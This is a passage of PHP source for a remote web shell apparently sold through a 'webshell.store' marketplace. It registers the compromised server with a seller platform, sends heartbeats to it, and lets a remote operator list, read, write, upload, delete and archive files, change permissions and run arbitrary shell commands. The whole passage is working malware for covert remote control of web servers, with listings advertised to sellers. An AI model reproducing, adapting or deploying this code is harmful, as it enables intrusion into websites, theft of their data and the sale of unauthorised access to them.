false, 'error' => $code, 'detail' => $detail, 'nonce' => $nonce), $status, $secret, $nonce); } function ws_caps() { $disabled = array_map('trim', explode(',', strtolower((string) ini_get('disable_functions')))); $has = function ($fn) use ($disabled) { return function_exists($fn) && !in_array(strtolower($fn), $disabled, true); }; return array( 'php' => PHP_VERSION, 'os' => PHP_OS, 'sapi' => PHP_SAPI, 'uname' => $has('php_uname') ? php_uname('s') . ' ' . php_uname('r') : PHP_OS, 'root' => dirname(__FILE__), 'writable' => is_writable(dirname(__FILE__)), 'exec' => $has('proc_open') ? 'proc_open' : ($has('shell_exec') ? 'shell_exec' : ($has('exec') ? 'exec' : ($has('system') ? 'system' : ''))), 'zip' => class_exists('ZipArchive'), 'curl' => $has('curl_init'), 'open_basedir' => (string) ini_get('open_basedir'), 'upload_max' => (string) ini_get('upload_max_filesize'), 'post_max' => (string) ini_get('post_max_size'), 'functions' => array('read' => $has('file_get_contents'), 'write' => $has('file_put_contents'), 'scandir' => $has('scandir')), ); } function ws_scheme() { if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { return 'https'; } if (strtolower(isset($_SERVER['HTTP_X_FORWARDED_PROTO']) ? $_SERVER['HTTP_X_FORWARDED_PROTO'] : '') === 'https') { return 'https'; } return 'http'; } function ws_self_url() { $path = strtok(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '', '?'); return ws_scheme() . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $path; } function ws_beat() { global $WS_PLATFORM, $WS_ID, $WS_SECRET; if (!function_exists('curl_init')) { return; } $ch = @curl_init($WS_PLATFORM . '/api/shell/beat.php'); if (!$ch) { return; } $payload = json_encode(array('deploy_id' => $WS_ID, 'ts' => time(), 'url' => ws_self_url())); $sig = ws_b64u_enc(hash_hmac('sha256', $payload, $WS_SECRET, true)); @curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload, CURLOPT_CONNECTTIMEOUT => 1, CURLOPT_TIMEOUT => 2, CURLOPT_HTTPHEADER => array('Content-Type: application/json', 'X-Shell-Beat: ' . $sig), CURLOPT_SSL_VERIFYPEER => false, )); @curl_exec($ch); @curl_close($ch); } function ws_norm_params($v) { if (is_array($v)) { $isList = $v === array() ? true : (array_keys($v) === range(0, count($v) - 1)); $out = array(); foreach ($v as $k => $x) { $out[$k] = ws_norm_params($x); } if (!$isList) { ksort($out); } return $out; } if (is_bool($v)) { return $v ? '1' : '0'; } return $v === null ? '' : (string) $v; } function ws_verify_ticket($secret, $op, $params, &$nonce) { $raw = isset($_SERVER['HTTP_X_SHELL_TICKET']) ? $_SERVER['HTTP_X_SHELL_TICKET'] : ''; if ($raw === '' || strpos($raw, '.') === false) { return 'missing_ticket'; } list($body, $sig) = explode('.', $raw, 2); $calc = ws_b64u_enc(hash_hmac('sha256', $body, $secret, true)); if (!hash_equals($calc, $sig)) { return 'bad_ticket'; } $json = ws_b64u_dec($body); $t = json_decode($json, true); if (!is_array($t)) { return 'bad_ticket'; } if ((isset($t['v']) ? $t['v'] : 0) !== 1 || (isset($t['op']) ? $t['op'] : '') !== $op) { return 'op_mismatch'; } $now = time(); if ((int) (isset($t['exp']) ? $t['exp'] : 0) < $now || (int) (isset($t['iat']) ? $t['iat'] : 0) > $now + 60) { return 'expired'; } $ph = hash('sha256', json_encode(ws_norm_params($params), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)); if (!hash_equals((string) (isset($t['ph']) ? $t['ph'] : ''), $ph)) { return 'param_mismatch'; } $nonce = (string) (isset($t['nonce']) ? $t['nonce'] : ''); if ($nonce === '') { return 'bad_ticket'; } $file = sys_get_temp_dir() . '/wsn_' . substr(md5(__FILE__ . $secret), 0, 16); $fp = @fopen($file, 'c+'); if ($fp) { if (flock($fp, LOCK_EX)) { $old = stream_get_contents($fp); if (strpos($old, $nonce . "\n") !== false) { flock($fp, LOCK_UN); fclose($fp); return 'replay'; } $lines = array_slice(array_filter(explode("\n", $old)), -199); $lines[] = $nonce; ftruncate($fp, 0); rewind($fp); fwrite($fp, implode("\n", $lines) . "\n"); flock($fp, LOCK_UN); } fclose($fp); } return ''; } function ws_safe_path($p, $mustExist) { $root = dirname(__FILE__); $p = str_replace('\\', '/', (string) $p); if ($p === '') { $p = '/'; } if (strpos($p, "\0") !== false) { return false; } $isWinAbs = (bool) preg_match('#^[A-Za-z]:/#', $p); if (!$isWinAbs && $p[0] !== '/') { $p = '/' . $p; } $parts = array(); foreach (explode('/', $p) as $part) { if ($part === '' || $part === '.' || $part === ':' ) { continue; } if ($part === '..') { array_pop($parts); continue; } if ($isWinAbs && count($parts) === 0) { $parts[] = $part; continue; } $parts[] = $part; } if ($isWinAbs) { $full = implode('/', $parts); if (strpos($full, ':') === false) { return false; } } else { $full = $root; foreach ($parts as $part) { $full .= '/' . $part; } } if ($mustExist) { $real = realpath($full); if ($real === false) { return false; } $realRoot = realpath($root); if (!$isWinAbs && $realRoot !== false && strpos($real, $realRoot) !== 0) { return false; } return $real; } $dir = dirname($full); $realDir = realpath($dir); if ($realDir === false) { return false; } $realRoot = realpath($root); if (!$isWinAbs && $realRoot !== false && strpos($realDir, $realRoot) !== 0) { return false; } return $realDir . '/' . basename($full); } function ws_list_dir($path) { $out = array(); $items = @scandir($path); if ($items === false) { return false; } foreach ($items as $name) { if ($name === '.' || $name === '..') { continue; } $full = $path . '/' . $name; $isDir = @is_dir($full); $out[] = array( 'name' => $name, 'dir' => $isDir, 'link' => @is_link($full), 'size' => $isDir ? 0 : (int) @filesize($full), 'mtime' => (int) @filemtime($full), 'mode' => substr(sprintf('%o', @fileperms($full)), -4), 'writable' => @is_writable($full), ); } usort($out, function ($a, $b) { if ($a['dir'] != $b['dir']) { return $a['dir'] ? -1 : 1; } return strcasecmp($a['name'], $b['name']); }); return $out; } function ws_exec($cmd, $cwd) { global $WS_MAX_EXEC; $caps = ws_caps(); $cmd = (string) $cmd; if ($cmd === '') { return array('ok' => false, 'error' => 'empty_command'); } $start = microtime(true); if ($caps['exec'] === 'proc_open') { $desc = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $p = @proc_open($cmd, $desc, $pipes, $cwd); if (!is_resource($p)) { return array('ok' => false, 'error' => 'spawn_failed'); } stream_set_blocking($pipes[1], false); stream_set_blocking($pipes[2], false); $out = ''; $err = ''; $deadline = microtime(true) + 15; while (true) { $out .= (string) stream_get_contents($pipes[1]); $err .= (string) stream_get_contents($pipes[2]); $s = proc_get_status($p); if (!$s['running'] || microtime(true) > $deadline) { if ($s['running']) { @proc_terminate($p); } break; } usleep(20000); } fclose($pipes[1]); fclose($pipes[2]); $code = proc_close($p); $out = strlen($out) > $WS_MAX_EXEC ? substr($out, 0, $WS_MAX_EXEC) . "\n[kesildi]" : $out; return array('ok' => true, 'stdout' => $out, 'stderr' => $err, 'code' => $code, 'time' => round(microtime(true) - $start, 3), 'mode' => 'proc_open'); } if ($caps['exec'] === 'shell_exec') { $out = @shell_exec('cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1'); return array('ok' => true, 'stdout' => (string) $out, 'stderr' => '', 'code' => 0, 'time' => round(microtime(true) - $start, 3), 'mode' => 'shell_exec'); } if ($caps['exec'] === 'exec') { $lines = array(); $code = 0; @exec('cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1', $lines, $code); return array('ok' => true, 'stdout' => implode("\n", $lines), 'stderr' => '', 'code' => $code, 'time' => round(microtime(true) - $start, 3), 'mode' => 'exec'); } if ($caps['exec'] === 'system') { ob_start(); @system('cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1'); $out = ob_get_clean(); return array('ok' => true, 'stdout' => (string) $out, 'stderr' => '', 'code' => 0, 'time' => round(microtime(true) - $start, 3), 'mode' => 'system'); } return array('ok' => false, 'error' => 'exec_disabled'); } $op = isset($_GET['op']) ? (string) $_GET['op'] : 'ping'; $raw = ''; if (strtoupper($_SERVER['REQUEST_METHOD']) === 'POST') { $raw = (string) file_get_contents('php://input'); } /* -------- registration -------- */ // Register on ?ws_register, or automatically when a human simply opens the connector // URL in a browser (a plain GET with no op, no verify nonce and no RPC ticket). $ws_bare_get = strtoupper($_SERVER['REQUEST_METHOD']) === 'GET' && !isset($_GET['op']) && !isset($_GET['ws_verify']) && empty($_SERVER['HTTP_X_SHELL_TICKET']); if (isset($_GET['ws_register']) || $ws_bare_get) { $payload = json_encode(array( 'seller_token' => $WS_SELLER_TOKEN, 'domain' => $WS_DOMAIN, 'url' => ws_self_url(), 'scheme' => ws_scheme(), 'path' => strtok(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '', '?'), 'caps' => ws_caps(), 'ts' => time(), ), JSON_UNESCAPED_SLASHES); // Registration is authenticated with the SELLER secret (proves this file belongs to the // seller); the reverse ?ws_verify proof below uses the derived per-listing secret. $sig = ws_b64u_enc(hash_hmac('sha256', $payload, $WS_SELLER_SECRET, true)); $result = array('ok' => false, 'error' => 'unreachable'); $curlErr = ''; $rawResp = ''; if (function_exists('curl_init')) { $ch = @curl_init($WS_PLATFORM . '/api/shell/register.php'); if ($ch) { @curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload, CURLOPT_CONNECTTIMEOUT => 8, CURLOPT_TIMEOUT => 20, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTPHEADER => array('Content-Type: application/json', 'Accept: application/json', 'X-Shell-Register: ' . $sig), CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; webshell.store-connector/1.0)', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, )); $r = @curl_exec($ch); $code = (int) @curl_getinfo($ch, CURLINFO_RESPONSE_CODE); $curlErr = (string) @curl_error($ch); @curl_close($ch); $rawResp = (string) $r; $j = json_decode($rawResp, true); if (is_array($j)) { $result = $j; } $result['http'] = $code; } } else { $result['error'] = 'curl_missing'; } header('Content-Type: text/html; charset=utf-8'); echo 'Deploy'; echo '
'; echo '

webshell.store deploy

'; if (!empty($result['ok'])) { echo '

Registration complete. You can close this tab; the listing will show as online in the seller panel.

'; } else { echo '

Registration failed. ' . htmlspecialchars(isset($result['error']) ? $result['error'] : 'unknown', ENT_QUOTES, 'UTF-8') . ' (HTTP ' . (int) (isset($result['http']) ? $result['http'] : 0) . ')

'; if ($curlErr !== '') { echo '

curl: ' . htmlspecialchars($curlErr, ENT_QUOTES, 'UTF-8') . '

'; } if ($rawResp !== '' && json_decode($rawResp, true) === null) { echo '

response starts with: ' . htmlspecialchars(substr(trim($rawResp), 0, 160), ENT_QUOTES, 'UTF-8') . '

'; } echo '

If HTTP is 403/503/429 or the response looks like a Cloudflare page, allow /api/shell/* through Cloudflare (see your seller panel help). HTTP 0 means this server cannot reach the platform (firewall/DNS/TLS).

'; } echo '

PHP ' . htmlspecialchars(PHP_VERSION, ENT_QUOTES, 'UTF-8') . ' ยท ' . htmlspecialchars($WS_DOMAIN, ENT_QUOTES, 'UTF-8') . '

'; echo '
'; exit; } /* -------- reachability verify -------- */ if (isset($_GET['ws_verify'])) { $n = (string) $_GET['ws_verify']; $body = json_encode(array('ok' => true, 'nonce' => $n, 'proof' => ws_b64u_enc(hash_hmac('sha256', 'verify:' . $n, $WS_SECRET, true)))); header('Content-Type: application/json; charset=utf-8'); header('Cache-Control: no-store'); echo $body; exit; } /* -------- normal RPC -------- */ $params = array(); if (strpos(strtolower((string) (isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '')), 'multipart/form-data') !== false) { $params = $_POST; } elseif ($raw !== '') { $j = json_decode($raw, true); if (is_array($j)) { $params = $j; } } foreach ($_GET as $k => $v) { if ($k !== 'op' && $k !== 'ws_register' && $k !== 'ws_verify') { $params[$k] = $v; } } $nonce = ''; $err = ws_verify_ticket($WS_SECRET, $op, $params, $nonce); if ($err !== '') { ws_fail($err, 403, $WS_SECRET, $nonce); } switch ($op) { case 'ping': ws_json_out(array('ok' => true, 'nonce' => $nonce, 'pong' => true, 'php' => PHP_VERSION, 'server' => ws_caps()), 200, $WS_SECRET, $nonce); break; case 'info': ws_json_out(array('ok' => true, 'nonce' => $nonce, 'info' => ws_caps(), 'disk_free' => @disk_free_space(dirname(__FILE__)), 'disk_total' => @disk_total_space(dirname(__FILE__))), 200, $WS_SECRET, $nonce); break; case 'fs.list': $path = ws_safe_path(isset($params['path']) ? $params['path'] : '.', true); if (!$path || !is_dir($path)) { ws_fail('bad_path', 404, $WS_SECRET, $nonce, 'Directory not found'); } $items = ws_list_dir($path); if ($items === false) { ws_fail('read_failed', 500, $WS_SECRET, $nonce, 'Could not read directory'); } ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $path, 'parent' => dirname($path), 'items' => $items), 200, $WS_SECRET, $nonce); break; case 'fs.read': $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true); if (!$path || !is_file($path)) { ws_fail('not_found', 404, $WS_SECRET, $nonce, 'File not found'); } if (@filesize($path) > $WS_MAX_READ) { ws_fail('too_large', 413, $WS_SECRET, $nonce, 'File exceeds 2MB'); } $data = @file_get_contents($path); if ($data === false) { ws_fail('read_failed', 500, $WS_SECRET, $nonce, 'Could not read'); } $bin = strpos($data, "\0") !== false; ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $path, 'binary' => $bin, 'size' => strlen($data), 'content' => $bin ? base64_encode($data) : $data), 200, $WS_SECRET, $nonce); break; case 'fs.write': $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', false); if (!$path) { ws_fail('bad_path', 422, $WS_SECRET, $nonce, 'Invalid path'); } $content = isset($params['content']) ? $params['content'] : ''; $data = !empty($params['binary']) ? base64_decode($content) : $content; if ($data === false) { ws_fail('bad_content', 422, $WS_SECRET, $nonce, 'Could not decode content'); } $tmp = $path . '.ws_tmp_' . getmypid(); if (@file_put_contents($tmp, $data) === false) { ws_fail('write_failed', 500, $WS_SECRET, $nonce, 'Could not write'); } @chmod($tmp, @fileperms($path) ?: 0644); if (!@rename($tmp, $path)) { @unlink($tmp); ws_fail('write_failed', 500, $WS_SECRET, $nonce, 'Could not move'); } ws_json_out(array('ok' => true, 'nonce' => $nonce, 'size' => strlen($data)), 200, $WS_SECRET, $nonce); break; case 'fs.upload': $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', false); if (!$path || !isset($_FILES['file'])) { ws_fail('bad_request', 422, $WS_SECRET, $nonce, 'Missing file or path'); } if ((int) $_FILES['file']['error'] !== 0) { ws_fail('upload_failed', 422, $WS_SECRET, $nonce, 'Upload error'); } if (@filesize($_FILES['file']['tmp_name']) > 20971520) { ws_fail('too_large', 413, $WS_SECRET, $nonce, 'Exceeds 20MB'); } if (!@move_uploaded_file($_FILES['file']['tmp_name'], $path)) { ws_fail('move_failed', 500, $WS_SECRET, $nonce, 'Could not move'); } ws_json_out(array('ok' => true, 'nonce' => $nonce, 'size' => (int) @filesize($path)), 200, $WS_SECRET, $nonce); break; case 'fs.mkdir': $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', false); if (!$path || !@mkdir($path, 0755)) { ws_fail('mkdir_failed', 500, $WS_SECRET, $nonce, 'Could not create'); } ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $path), 200, $WS_SECRET, $nonce); break; case 'fs.rename': $from = ws_safe_path(isset($params['from']) ? $params['from'] : '', true); $to = ws_safe_path(isset($params['to']) ? $params['to'] : '', false); if (!$from || !$to || !@rename($from, $to)) { ws_fail('rename_failed', 500, $WS_SECRET, $nonce, 'Could not move'); } ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $to), 200, $WS_SECRET, $nonce); break; case 'fs.chmod': $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true); $mode = isset($params['mode']) ? octdec((string) $params['mode']) : 0644; if (!$path || !@chmod($path, $mode)) { ws_fail('chmod_failed', 500, $WS_SECRET, $nonce, 'Could not change permissions'); } ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce); break; case 'fs.delete': $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true); if (!$path) { ws_fail('bad_path', 404, $WS_SECRET, $nonce, 'No path'); } if (is_dir($path) && !is_link($path)) { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST); foreach ($it as $f) { $f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname()); } @rmdir($path); } else { @unlink($path); } ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce); break; case 'fs.zip': if (!class_exists('ZipArchive')) { ws_fail('no_zip', 501, $WS_SECRET, $nonce, 'ZipArchive not available'); } $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true); $target = ws_safe_path(isset($params['target']) ? $params['target'] : 'archive.zip', false); if (!$path || !$target) { ws_fail('bad_path', 422, $WS_SECRET, $nonce); } $zip = new ZipArchive(); if ($zip->open($target, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { ws_fail('zip_failed', 500, $WS_SECRET, $nonce); } if (is_dir($path)) { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)); foreach ($it as $f) { $zip->addFile($f->getPathname(), substr($f->getPathname(), strlen(dirname($path)) + 1)); } } else { $zip->addFile($path, basename($path)); } $zip->close(); ws_json_out(array('ok' => true, 'nonce' => $nonce, 'target' => $target), 200, $WS_SECRET, $nonce); break; case 'fs.unzip': if (!class_exists('ZipArchive')) { ws_fail('no_zip', 501, $WS_SECRET, $nonce, 'ZipArchive not available'); } $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true); $dest = ws_safe_path(isset($params['dest']) ? $params['dest'] : '.', true); if (!$path || !$dest) { ws_fail('bad_path', 422, $WS_SECRET, $nonce); } $zip = new ZipArchive(); if ($zip->open($path) !== true) { ws_fail('unzip_failed', 500, $WS_SECRET, $nonce); } $zip->extractTo($dest); $zip->close(); ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce); break; case 'exec': $cwd = ws_safe_path(isset($params['cwd']) ? $params['cwd'] : '.', true); if (!$cwd || !is_dir($cwd)) { $cwd = $WS_ROOT; } $r = ws_exec(isset($params['cmd']) ? $params['cmd'] : '', $cwd); $r['nonce'] = $nonce; $r['cwd'] = $cwd; ws_json_out($r, 200, $WS_SECRET, $nonce); break; case 'rotate': $new = isset($params['secret']) ? $params['secret'] : ''; if (strlen($new) < 32) { ws_fail('bad_secret', 422, $WS_SECRET, $nonce); } $self = __FILE__; $src = (string) @file_get_contents($self); $src = preg_replace('/\$WS_SECRET_OVERRIDE = \'[^\']*\';/', '$WS_SECRET_OVERRIDE = \'' . addcslashes($new, "'\\") . '\';', $src, 1, $cnt); if (!$cnt) { ws_fail('rotate_unsupported', 500, $WS_SECRET, $nonce); } if (@file_put_contents($self, $src) === false) { ws_fail('write_failed', 500, $WS_SECRET, $nonce); } ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce); break; default: ws_fail('unknown_op', 404, $WS_SECRET, $nonce); }